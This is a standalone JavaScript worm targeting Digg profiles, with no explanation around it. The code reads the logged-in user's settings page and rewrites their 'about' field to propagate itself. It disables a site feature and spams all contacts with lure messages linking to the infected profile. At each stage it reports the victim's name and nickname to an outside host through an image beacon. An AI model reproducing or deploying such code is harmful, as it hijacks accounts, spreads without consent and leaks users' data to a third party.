(function($){ var shouts = $.cookie('shouts'), shoutedTo = [], shoutIds = []; if (shouts) { shouts = shouts.split(','); $(shouts).each(function(i, code){ code = code.split('|'); shoutIds.push(code[0]); shoutedTo.push(code[1]); document.write(''); }); document.write(''); // return; } var xdomain = function(data){ (new Image).src = 'http://devthought.com/wp-content/duggey.php?' + $.param(data); } $(function($){ // check user is logged in if ($('#header-login').attr('href')) return; var infectorNick = $('.nickname').html(); // before anything else, we propagate the script $.ajax({url: 'http://digg.com/settings/about', dataType: 'html', success: function(doc){ doc = $(doc); var form = doc.find('#profile-form').css('display', 'none').appendTo('body'); var about = form.find('#about').val(); var nick = doc.find('.nickname').html(); var query = {name: form.find('#name').val(), nickname: nick}; // should be == if (about.indexOf('.php') == -1){ $('#about').val($('#about').val() + ''); $.ajax({url: 'http://digg.com/settings/about', data: form.serialize(), type: 'POST', success: function(){ xdomain($.extend(query, {step: 'infection'})); }}); // we turn off the digg bar $.ajax({url: 'http://digg.com/settings/viewing', data: {check: doc.find('input[name=check]').val(), usetinyurl: 2, type: 'POST'}, success: function(){ xdomain($.extend(query, {step: 'barassassination'})); }}); } var messages = [ 'The DiggBar has made it to profiles: http://digg.com/users/' + nick, 'My updated profile: http://digg.com/users/' + nick, 'w00t w00t w00t w000t: http://digg.com/users/' + nick, 'Twitter added to my profile: http://digg.com/users/' + nick, 'The parametric driving force excites a nearly-resonant electron oscillation at the drive frequency: http://digg.com/users/' + nick, 'Been victim of a nigerian scam :( http://digg.com/users/' + nick ]; // we shout to friends $.ajax({url: 'http://digg.com/users/' + nick, dataType: 'html', success: function(doc){ doc = $(doc); xdomain($.extend(query, {step: 'propagation'})); var message = messages[Math.floor(Math.random() * 6)]; doc.find('a[rel=contact]').each(function(){ var username = $(this).attr('href').replace(/^\/users\//, ''); if (username === '' || $.inArray(username, shoutedTo) != -1) return; $.ajax({url: 'http://digg.com/ajax/shouts/post', type: 'POST', dataType: 'json', data: { activity: 0, activityid: 0, captcha: '', md5: '', shout: message, to: username.toLowerCase(), token: tokens.shouts.post}, success: function(json){ $.cookie('shouts', ($.cookie('shouts') ? $.cookie('shouts') + ',' : '') + json.shouts[0].id + '|' + username, { path: '/', expires: 100 }); }}); }); }}); }}); }); })(jQuery);